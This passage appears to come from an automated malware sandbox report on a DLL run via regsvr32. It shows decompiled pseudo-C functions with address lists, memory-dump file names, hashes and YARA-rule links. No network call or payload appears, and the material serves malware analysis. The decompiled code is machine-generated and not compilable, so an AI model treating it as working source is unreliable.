				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x8003a35c;
				if (_t97 == 0) goto 0x8003a2c2;
				_t98 = r8d;
				if (_t98 == 0) goto 0x8003a3b3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a333;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a30b;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a3b3;
				if (r8d != 1) goto 0x8003a37f;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x8003a2f5;
				if ( *_t125 >= 0) goto 0x8003a2f5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003a3df;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003a3f6;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003a32e;
				goto 0x8003a2de;
				goto 0x8003a2de;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x8003a357;
				goto 0x8003a2de;
				goto 0x8003a2de;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x8003a2c2;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x8003a2c2;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x8003a2c2;
				goto 0x8003a2ae;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x8003a448;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x8003a3d8;
				_t143 =  *_t128;
				goto 0x8003a2de;
				goto 0x8003a2de;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x8003a3ff;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x8003a418;
				E0000000118003DA58( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0x8003a41f;
				E0000000118003C4F8( *_t128, _t122);
				if (0 == 0) goto 0x8003a446;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x8003a438;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x8003a446;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003a260
                                                                                                        0x18003a263
                                                                                                        0x18003a267
                                                                                                        0x18003a26b
                                                                                                        0x18003a26f
                                                                                                        0x18003a273
                                                                                                        0x18003a279
                                                                                                        0x18003a27d
                                                                                                        0x18003a280
                                                                                                        0x18003a283
                                                                                                        0x18003a289
                                                                                                        0x18003a28d
                                                                                                        0x18003a293
                                                                                                        0x18003a295
                                                                                                        0x18003a298
                                                                                                        0x18003a29e
                                                                                                        0x18003a2a2
                                                                                                        0x18003a2a8
                                                                                                        0x18003a2ac
                                                                                                        0x18003a2ae
                                                                                                        0x18003a2b2
                                                                                                        0x18003a2bc
                                                                                                        0x18003a2c2
                                                                                                        0x18003a2c8
                                                                                                        0x18003a2d7
                                                                                                        0x18003a2e5
                                                                                                        0x18003a2ea
                                                                                                        0x18003a2f2
                                                                                                        0x18003a2f9
                                                                                                        0x18003a2ff
                                                                                                        0x18003a306
                                                                                                        0x18003a313
                                                                                                        0x18003a322
                                                                                                        0x18003a326
                                                                                                        0x18003a32c
                                                                                                        0x18003a331
                                                                                                        0x18003a33b
                                                                                                        0x18003a344
                                                                                                        0x18003a34b
                                                                                                        0x18003a34f
                                                                                                        0x18003a355
                                                                                                        0x18003a35a
                                                                                                        0x18003a35c
                                                                                                        0x18003a360
                                                                                                        0x18003a366
                                                                                                        0x18003a36a
                                                                                                        0x18003a370
                                                                                                        0x18003a374
                                                                                                        0x18003a37a
                                                                                                        0x18003a37f
                                                                                                        0x18003a383
                                                                                                        0x18003a386
                                                                                                        0x18003a38b
                                                                                                        0x18003a38f
                                                                                                        0x18003a39c
                                                                                                        0x18003a3a1
                                                                                                        0x18003a3a7
                                                                                                        0x18003a3ae
                                                                                                        0x18003a3bb
                                                                                                        0x18003a3ca
                                                                                                        0x18003a3ce
                                                                                                        0x18003a3d0
                                                                                                        0x18003a3d3
                                                                                                        0x18003a3da
                                                                                                        0x18003a3ea
                                                                                                        0x18003a3f1
                                                                                                        0x18003a3f9
                                                                                                        0x18003a3fb
                                                                                                        0x18003a3ff
                                                                                                        0x18003a403
                                                                                                        0x18003a40c
                                                                                                        0x18003a411
                                                                                                        0x18003a416
                                                                                                        0x18003a41a
                                                                                                        0x18003a427
                                                                                                        0x18003a42d
                                                                                                        0x18003a436
                                                                                                        0x18003a438
                                                                                                        0x18003a440
                                                                                                        0x18003a443
                                                                                                        0x18003a462

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3c65931051d53af19f882d4593e7d6fb81284979c7edbe5f82efbbdcb11bbc0d
                                                                                                        • Instruction ID: 47bbd731fca6e9b9f8ea88a2a2532b37d47b5a13207c37666a15659ca65344c6
                                                                                                        • Opcode Fuzzy Hash: 3c65931051d53af19f882d4593e7d6fb81284979c7edbe5f82efbbdcb11bbc0d
                                                                                                        • Instruction Fuzzy Hash: 6B51B43621865886F7A78B29C4443AE37A1E34EF98F26C111EE49177A9CF36DE47C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003832C Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 64%
                                                                                                        			E0000000118003832C(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x80038428;
				if (_t97 == 0) goto 0x8003838e;
				_t98 = r8d;
				if (_t98 == 0) goto 0x8003847f;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x800383ff;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x800383d7;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003847f;
				if (r8d != 1) goto 0x8003844b;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x800383c1;
				if ( *_t125 >= 0) goto 0x800383c1;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x800384ab;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x800384c2;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x800383fa;
				goto 0x800383aa;
				goto 0x800383aa;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x80038423;
				goto 0x800383aa;
				goto 0x800383aa;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x8003838e;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x8003838e;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x8003838e;
				goto 0x8003837a;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x80038514;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x800384a4;
				_t143 =  *_t128;
				goto 0x800383aa;
				goto 0x800383aa;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x800384cb;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x800384e4;
				E0000000118003D014(_t122, _t122, _t143);
				goto 0x800384eb;
				E0000000118003BAE4( *_t128, _t122, _t122, _t143);
				if (0 == 0) goto 0x80038512;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x80038504;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x80038512;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003832c
                                                                                                        0x18003832f
                                                                                                        0x180038333
                                                                                                        0x180038337
                                                                                                        0x18003833b
                                                                                                        0x18003833f
                                                                                                        0x180038345
                                                                                                        0x180038349
                                                                                                        0x18003834c
                                                                                                        0x18003834f
                                                                                                        0x180038355
                                                                                                        0x180038359
                                                                                                        0x18003835f
                                                                                                        0x180038361
                                                                                                        0x180038364
                                                                                                        0x18003836a
                                                                                                        0x18003836e
                                                                                                        0x180038374
                                                                                                        0x180038378
                                                                                                        0x18003837a
                                                                                                        0x18003837e
                                                                                                        0x180038388
                                                                                                        0x18003838e
                                                                                                        0x180038394
                                                                                                        0x1800383a3
                                                                                                        0x1800383b1
                                                                                                        0x1800383b6
                                                                                                        0x1800383be
                                                                                                        0x1800383c5
                                                                                                        0x1800383cb
                                                                                                        0x1800383d2
                                                                                                        0x1800383df
                                                                                                        0x1800383ee
                                                                                                        0x1800383f2
                                                                                                        0x1800383f8
                                                                                                        0x1800383fd
                                                                                                        0x180038407
                                                                                                        0x180038410
                                                                                                        0x180038417
                                                                                                        0x18003841b
                                                                                                        0x180038421
                                                                                                        0x180038426
                                                                                                        0x180038428
                                                                                                        0x18003842c
                                                                                                        0x180038432
                                                                                                        0x180038436
                                                                                                        0x18003843c
                                                                                                        0x180038440
                                                                                                        0x180038446
                                                                                                        0x18003844b
                                                                                                        0x18003844f
                                                                                                        0x180038452
                                                                                                        0x180038457
                                                                                                        0x18003845b
                                                                                                        0x180038468
                                                                                                        0x18003846d
                                                                                                        0x180038473
                                                                                                        0x18003847a
                                                                                                        0x180038487
                                                                                                        0x180038496
                                                                                                        0x18003849a
                                                                                                        0x18003849c
                                                                                                        0x18003849f
                                                                                                        0x1800384a6
                                                                                                        0x1800384b6
                                                                                                        0x1800384bd
                                                                                                        0x1800384c5
                                                                                                        0x1800384c7
                                                                                                        0x1800384cb
                                                                                                        0x1800384cf
                                                                                                        0x1800384d8
                                                                                                        0x1800384dd
                                                                                                        0x1800384e2
                                                                                                        0x1800384e6
                                                                                                        0x1800384f3
                                                                                                        0x1800384f9
                                                                                                        0x180038502
                                                                                                        0x180038504
                                                                                                        0x18003850c
                                                                                                        0x18003850f
                                                                                                        0x18003852e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 52071dcf8332e06fd911ff8c81269bdf141d70a3c123fd12734e7f72d4047e78
                                                                                                        • Instruction ID: fa0ddad58bafba84a09ab438a9c6c634af317e700fbc4a605dfd998d28a1ac8d
                                                                                                        • Opcode Fuzzy Hash: 52071dcf8332e06fd911ff8c81269bdf141d70a3c123fd12734e7f72d4047e78
                                                                                                        • Instruction Fuzzy Hash: 93519576220B5886EBA78B29C05439E37A0EB4CF98F25C151EE4917794CF36DE47D740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180037490 Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E00000001180037490(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x8003758c;
				if (_t97 == 0) goto 0x800374f2;
				_t98 = r8d;
				if (_t98 == 0) goto 0x800375e3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80037563;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003753b;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x800375e3;
				if (r8d != 1) goto 0x800375af;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x80037525;
				if ( *_t125 >= 0) goto 0x80037525;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003760f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x80037626;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003755e;
				goto 0x8003750e;
				goto 0x8003750e;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x80037587;
				goto 0x8003750e;
				goto 0x8003750e;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x800374f2;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x800374f2;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x800374f2;
				goto 0x800374de;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x80037678;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x80037608;
				_t143 =  *_t128;
				goto 0x8003750e;
				goto 0x8003750e;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x8003762f;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x80037648;
				E0000000118003CC74( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0x8003764f;
				E0000000118003B75C( *_t128, _t122);
				if (0 == 0) goto 0x80037676;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x80037668;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x80037676;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x180037490
                                                                                                        0x180037493
                                                                                                        0x180037497
                                                                                                        0x18003749b
                                                                                                        0x18003749f
                                                                                                        0x1800374a3
                                                                                                        0x1800374a9
                                                                                                        0x1800374ad
                                                                                                        0x1800374b0
                                                                                                        0x1800374b3
                                                                                                        0x1800374b9
                                                                                                        0x1800374bd
                                                                                                        0x1800374c3
                                                                                                        0x1800374c5
                                                                                                        0x1800374c8
                                                                                                        0x1800374ce
                                                                                                        0x1800374d2
                                                                                                        0x1800374d8
                                                                                                        0x1800374dc
                                                                                                        0x1800374de
                                                                                                        0x1800374e2
                                                                                                        0x1800374ec
                                                                                                        0x1800374f2
                                                                                                        0x1800374f8
                                                                                                        0x180037507
                                                                                                        0x180037515
                                                                                                        0x18003751a
                                                                                                        0x180037522
                                                                                                        0x180037529
                                                                                                        0x18003752f
                                                                                                        0x180037536
                                                                                                        0x180037543
                                                                                                        0x180037552
                                                                                                        0x180037556
                                                                                                        0x18003755c
                                                                                                        0x180037561
                                                                                                        0x18003756b
                                                                                                        0x180037574
                                                                                                        0x18003757b
                                                                                                        0x18003757f
                                                                                                        0x180037585
                                                                                                        0x18003758a
                                                                                                        0x18003758c
                                                                                                        0x180037590
                                                                                                        0x180037596
                                                                                                        0x18003759a
                                                                                                        0x1800375a0
                                                                                                        0x1800375a4
                                                                                                        0x1800375aa
                                                                                                        0x1800375af
                                                                                                        0x1800375b3
                                                                                                        0x1800375b6
                                                                                                        0x1800375bb
                                                                                                        0x1800375bf
                                                                                                        0x1800375cc
                                                                                                        0x1800375d1
                                                                                                        0x1800375d7
                                                                                                        0x1800375de
                                                                                                        0x1800375eb
                                                                                                        0x1800375fa
                                                                                                        0x1800375fe
                                                                                                        0x180037600
                                                                                                        0x180037603
                                                                                                        0x18003760a
                                                                                                        0x18003761a
                                                                                                        0x180037621
                                                                                                        0x180037629
                                                                                                        0x18003762b
                                                                                                        0x18003762f
                                                                                                        0x180037633
                                                                                                        0x18003763c
                                                                                                        0x180037641
                                                                                                        0x180037646
                                                                                                        0x18003764a
                                                                                                        0x180037657
                                                                                                        0x18003765d
                                                                                                        0x180037666
                                                                                                        0x180037668
                                                                                                        0x180037670
                                                                                                        0x180037673
                                                                                                        0x180037692

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 8dcdeddbc3b28ea950e11db38c2e53add79e58ea201f9d4f3144c6309330d4e6
                                                                                                        • Instruction ID: 1561eda699f14d2154a7d9bef275cc1e3d5ac36f1028b44078604149921b09f8
                                                                                                        • Opcode Fuzzy Hash: 8dcdeddbc3b28ea950e11db38c2e53add79e58ea201f9d4f3144c6309330d4e6
                                                                                                        • Instruction Fuzzy Hash: 4C519236310A5886E7BB8B29C05039E37A1E34DB9CF369111EE4D17796CB72DA47C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003A690 Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E0000000118003A690(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x8003a78c;
				if (_t97 == 0) goto 0x8003a6f2;
				_t98 = r8d;
				if (_t98 == 0) goto 0x8003a7e3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a763;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a73b;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a7e3;
				if (r8d != 1) goto 0x8003a7af;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x8003a725;
				if ( *_t125 >= 0) goto 0x8003a725;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003a80f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003a826;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003a75e;
				goto 0x8003a70e;
				goto 0x8003a70e;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x8003a787;
				goto 0x8003a70e;
				goto 0x8003a70e;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x8003a6f2;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x8003a6f2;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x8003a6f2;
				goto 0x8003a6de;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x8003a878;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x8003a808;
				_t143 =  *_t128;
				goto 0x8003a70e;
				goto 0x8003a70e;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x8003a82f;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x8003a848;
				E0000000118003DB60( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0x8003a84f;
				E0000000118003C600( *_t128, _t122);
				if (0 == 0) goto 0x8003a876;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x8003a868;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x8003a876;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003a690
                                                                                                        0x18003a693
                                                                                                        0x18003a697
                                                                                                        0x18003a69b
                                                                                                        0x18003a69f
                                                                                                        0x18003a6a3
                                                                                                        0x18003a6a9
                                                                                                        0x18003a6ad
                                                                                                        0x18003a6b0
                                                                                                        0x18003a6b3
                                                                                                        0x18003a6b9
                                                                                                        0x18003a6bd
                                                                                                        0x18003a6c3
                                                                                                        0x18003a6c5
                                                                                                        0x18003a6c8
                                                                                                        0x18003a6ce
                                                                                                        0x18003a6d2
                                                                                                        0x18003a6d8
                                                                                                        0x18003a6dc
                                                                                                        0x18003a6de
                                                                                                        0x18003a6e2
                                                                                                        0x18003a6ec
                                                                                                        0x18003a6f2
                                                                                                        0x18003a6f8
                                                                                                        0x18003a707
                                                                                                        0x18003a715
                                                                                                        0x18003a71a
                                                                                                        0x18003a722
                                                                                                        0x18003a729
                                                                                                        0x18003a72f
                                                                                                        0x18003a736
                                                                                                        0x18003a743
                                                                                                        0x18003a752
                                                                                                        0x18003a756
                                                                                                        0x18003a75c
                                                                                                        0x18003a761
                                                                                                        0x18003a76b
                                                                                                        0x18003a774
                                                                                                        0x18003a77b
                                                                                                        0x18003a77f
                                                                                                        0x18003a785
                                                                                                        0x18003a78a
                                                                                                        0x18003a78c
                                                                                                        0x18003a790
                                                                                                        0x18003a796
                                                                                                        0x18003a79a
                                                                                                        0x18003a7a0
                                                                                                        0x18003a7a4
                                                                                                        0x18003a7aa
